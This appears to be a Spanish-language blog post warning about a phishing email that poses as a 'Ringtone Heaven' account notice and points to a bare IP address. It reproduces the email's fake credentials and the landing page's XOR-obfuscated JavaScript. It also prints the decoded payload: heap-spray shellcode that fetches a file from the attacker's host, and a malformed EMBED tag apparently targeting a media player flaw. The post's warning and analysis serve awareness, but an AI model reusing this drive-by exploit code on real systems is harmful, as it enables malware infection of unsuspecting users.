21
Ago
Cuidado con este correo (contodo y fishing incluido)
Una vez que lo habri este era su contenido..
Dear Member,
We are glad you joined Ringtone Heaven.
Account Number: 4647573518
Temp Login ID: user5724
Temorary Password: dn822
Please Change your login and change your Login Information.
Follow this link, or paste it in your browser: http://71.9.135.153/
Welcome,
Membership Services
Ringtone Heaven
El problema comienza por el simple hecho de que yo no tengo una cuenta en ringtone heaven...
y ahor aque hay en la dirección ip ala que hace referecia este mail, pues una inofensiva pagina en la que te dicen que descargues un inofensivo applet.exe el que por cierto tiene cero bytes es decir es un archivo vacio.
If you do not see the Secure Login Window please install our Secure Login Applet.
Esto es lo unico que menciona la pagina en cuestion, sin embargo no todo es lo que parece puesto que el código en html de la pagina es el siguiente.
<head></head>
<body>If you do not see the Secure Login Window please install our <a href="/applet.exe">Secure Login Applet</a>.
<script language="JavaScript">
function xor_str(plain_str, xor_key){
var xored_str = "";
for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
return xored_str;
}
var plain_str = "\xf2\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf
\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf
\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf
\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf
\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf
\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xdf\xd8\xee\x9a\x86\x9f\x9e\xec\xee\x9a\x97\x93
\x96\xec\xee\x81\x91\x80\x9b\x82\x86\xec\xa4\xb3\xa0\xf2\xa1\xef\xa7\xbc\xb7\xa1\xb1\xb3\xa2\xb7\xfa\xf0
\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7
\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf7\xa7\xe6\xe3\xe6\xe3\xf0\xfb\xe9\xb6
\xbd\xa9\xa1\xf9\xef\xa1\xe9\xaf\xa5\xba\xbb\xbe\xb7\xfa\xa1\xfc\xbe\xb7\xbc\xb5\xa6\xba\xee\xe2\xaa\xe2
\xeb\xe2\xe2\xe2\xe2\xe2\xfb\xe9\xa1\xf9\xef\xa7\xbc\xb7\xa1\xb1\xb3\xa2\xb7\xfa\xf0\xf7\xa7\xe7\xe6\x97\x90
\xf7\xa7\xe5\xe7\xea\x90\xf7\xa7\xea\x90\xe1\x91\xf7\xa7\xe1\xe7\xe5\xe6\xf7\xa7\xe2\xe1\xe5\xea\xf7\xa7\xe7
\xe4\x94\xe7\xf7\xa7\xe5\xe4\xea\x90\xf7\xa7\xe2\xe1\xe0\xe2\xf7\xa7\xe1\xe1\x94\xe7\xf7\xa7\xe6\xeb\x91\xeb
\xf7\xa7\x93\x96\xe6\xe3\xf7\xa7\x96\x90\xe1\xe1\xf7\xa7\xe2\x94\xe1\xe4\xf7\xa7\xe3\xe6\x90\x97\xf7\xa7\xe1
\xea\xe0\xea\xf7\xa7\xe5\xe6\x94\xe0\xf7\xa7\x91\xe3\xe2\xea\xf7\xa7\xe2\x96\x91\x90\xf7\xa7\x96\x93\xe2\xe1
\xf7\xa7\x97\x90\xe6\xe2\xf7\xa7\xe1\x90\x97\x94\xf7\xa7\xe5\xe7\x96\x94\xf7\xa7\xe7\x97\x97\xe5\xf7\xa7\xe7
\x97\xea\x90\xf7\xa7\xe2\xe1\xe0\xe6\xf7\xa7\xe4\xe4\x96\x96\xf7\xa7\xe2\x91\xea\x90\xf7\xa7\xea\x90\xe6\x90
\xf7\xa7\xe3\x91\xe7\x97\xf7\xa7\x96\x96\xe2\xe1\xf7\xa7\xe2\xe6\xea\x90\xf7\xa7\xe2\xe1\xea\x90\xf7\xa7\x91
\xe1\x91\xe7\xf7\xa7\xe5\xe0\xe5\xe7\xf7\xa7\xe4\x96\xe4\x91\xf7\xa7\xe4\x97\xe4\x94\xf7\xa7\xe4\xe6\xe0\x97
\xf7\xa7\xe4\x91\xe4\x91\xf7\xa7\xe6\xe1\xe2\xe2\xf7\xa7\xe7\x91\xe1\x93\xf7\xa7\xe0\x97\xe7\xe7\xf7\xa7\xe5
\xea\xe4\xe7\xf7\xa7\xe2\xe2\xe4\xe7\xf7\xa7\x91\xe2\xe1\xe1\xf7\xa7\xe2\xe1\xe4\xe6\xf7\xa7\xe1\xe2\xe6\xe2
\xf7\xa7\xe2\x91\xe5\xea\xf7\xa7\xe6\xe2\xea\x90\xf7\xa7\xea\x90\xe2\x91\xf7\xa7\xe3\x91\xe5\xe2\xf7\xa7\xea
\x90\x93\x96\xf7\xa7\xe2\xea\xe6\xe2\xf7\xa7\xe2\xeb\x97\x90\xf7\xa7\xe6\xe2\xea\x90\xf7\xa7\xea\x96\xe1\xe6
\xf7\xa7\xe5\x91\xe6\xe2\xf7\xa7\xe6\xe2\xea\x90\xf7\xa7\xeb\xe7\xe1\x91\xf7\xa7\xea\x97\x90\x94\xf7\xa7\xe2
\x97\xe6\x97\xf7\xa7\x97\xea\x97\x91\xf7\xa7\x94\x94\xea\xe6\xf7\xa7\x94\x94\x94\x94\xf7\xa7\x97\x91\xea\xe1
\xf7\xa7\xea\xe1\xe2\xe6\xf7\xa7\xe0\xe6\xe0\x91\xf7\xa7\x94\x94\xe1\x91\xf7\xa7\xeb\xe7\x96\xe2\xf7\xa7\x90
\x94\xe7\xe2\xf7\xa7\xe3\x93\xe1\xe4\xf7\xa7\xe5\xe2\xe0\x94\xf7\xa7\xe4\x94\x97\xea\xf7\xa7\x94\x94\x94\x94
\xf7\xa7\xea\x90\x94\x94\xf7\xa7\xe0\xe6\xe7\xe6\xf7\xa7\xea\x96\x94\x91\xf7\xa7\x90\x93\xe7\xe0\xf7\xa7\x96
\x90\xe1\xe1\xf7\xa7\xe7\xe1\xe7\xe1\xf7\xa7\x97\x90\xe7\xe0\xf7\xa7\xe7\xe1\xe0\xe6\xf7\xa7\x96\xe2\x94\x94
\xf7\xa7\x90\x94\xe7\x96\xf7\xa7\x94\x97\xeb\xea\xf7\xa7\xe2\x97\xea\x93\xf7\xa7\xe7\xe1\x97\xea\xf7\xa7\x94
\x94\x94\x94\xf7\xa7\xea\xe1\x94\x94\xf7\xa7\xe2\xe6\x97\x91\xf7\xa7\xe0\x91\xea\xe1\xf7\xa7\xe4\xe0\xe0\xe6
\xf7\xa7\x96\xe2\x94\x94\xf7\xa7\xe5\x97\x90\x94\xf7\xa7\x97\xe0\x96\xea\xf7\xa7\x97\xea\xe5\xe1\xf7\xa7\x94
\x94\xe6\xe2\xf7\xa7\x94\x94\x94\x94\xf7\xa7\x94\x94\xe7\xe0\xf7\xa7\x97\xea\x96\xe2\xf7\xa7\x94\x94\x96\xe5
\xf7\xa7\x94\x94\x94\x94\xf7\xa7\xe5\xe6\xe4\xea\xf7\xa7\xe5\xe2\xe5\xe6\xf7\xa7\xe0\x94\xe1\x93\xf7\xa7\xe1
\xe5\xe0\x94\xf7\xa7\xe0\x97\xe1\xe3\xf7\xa7\xe0\x97\xe1\xeb\xf7\xa7\xe1\xe1\xe1\xe3\xf7\xa7\xe0\x97\xe1\xe7
\xf7\xa7\xe1\xe7\xe1\xe3\xf7\xa7\xe0\x94\xe1\xe1\xf7\xa7\xe4\xeb\xe4\xe4\xf7\xa7\xe4\xe7\xe4\x91\xf7\xa7\xe5
\xe2\xe0\x97\xf7\xa7\xe5\xe2\xe4\xea\xf0\xfb\xe9\xee\xfd\x81\x91\x80\x9b\x82\x86\xec\xee\xfd\x9a\x97\x93\x96
\xec\xee\x90\x9d\x96\x8b\xec\xee\x97\x9f\x90\x97\x96\xf2\x81\x80\x91\xef\xf0\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff
\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x93
\x93\x93\x93\x90\x90\x90\x90\x91\x91\x91\x91\x96\x96\x96\x96\x97\x97\x97\x97\x94\x94\x94\x94\x95\x95\x95
\x95\x9a\x9a\x9a\x9a\x9b\x9b\x9b\x9b\x98\x98\x98\x98\x99\x99\x99\x99\x9e\x9e\x9e\x9e\x93\x93\x93\xd7\x9c
\x9c\x9c\x9c\x9d\x9d\x9d\x9d\x93\x93\x93\xd7\x83\x83\x83\x83\x80\x80\x80\x80\x81\x81\x81\x81\x86\x86\x86
\x86\x87\x87\x87\x87\x84\x84\x84\x84\x85\x85\x85\x85\x8a\x8a\x8a\x8a\x8b\x8b\x8b\x8b\x88\x88\x88\x88\xe2
\xe2\xe2\xe2\xe3\xe3\xe3\xe3\xe0\xe0\xe0\xe0\xe1\xe1\xe1\xe1\xe6\xe6\xe6\xe6\xe7\xe7\xe7\xe7\xe4\xe4\xe4
\xe4\xe5\xe5\xe5\xe5\xea\xea\xea\xea\xeb\xeb\xeb\xeb\xfc\xa5\xbf\xa4\xf0\xec\xee\xfd\x97\x9f\x90\x97\x96\xec
\xee\xfd\x90\x9d\x96\x8b\xec\xee\xfd\x9a\x86\x9f\x9e\xec\xf2";
var xored_str = xor_str(plain_str, 210);
document.write(xored_str);
</script>
</body>
¿¿alguien ve algo raro por aqui??
digo aparte de que existe un megascript en JavaScript.. pero que dice el mentado script...
peus aki les va ya desenciptaado por cierto el valor de 210 que es la llave varia cada vez
<HTML><HEAD><SCRIPT>var s=unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do{s+=s;}while(s.length<0x0900000);
s+=unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41
%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7
%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C
%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B
%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E
%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8
%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98
%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40
%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u372F%u2E31%u2E39%u3331%u2E35
%u3531%u2F33%u6966%u656C%u702E%u7068");
</SCRIPT></HEAD><BODY>
<EMBED SRC="---------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------
-------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRS
SSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv">
</EMBED></BODY></HTML> -->
Trate de bajar la mentada pelicula pero no la pude encontrar, el sevidor me dice que no existe :( yo queria ver que tiene...
En firefox este codigo no tiene ningun efecto (y menos con noscript el cual impide que se ejecute por completo) pero en IE aparece una ventana de Windows Media player embedida, lo que me hace pensar que genera un nombre de archivo aleatorio y descarga la pelicula, que muy posiblemente este urilizando una vulnerabilidad de Windows media pero son solo conjeturas puesto que no pude obtener nada de informacion extra y como no hay un dominio existenete sino una ip, pues no hay mucho mas que investigar.
Saludos
Escribir un comentario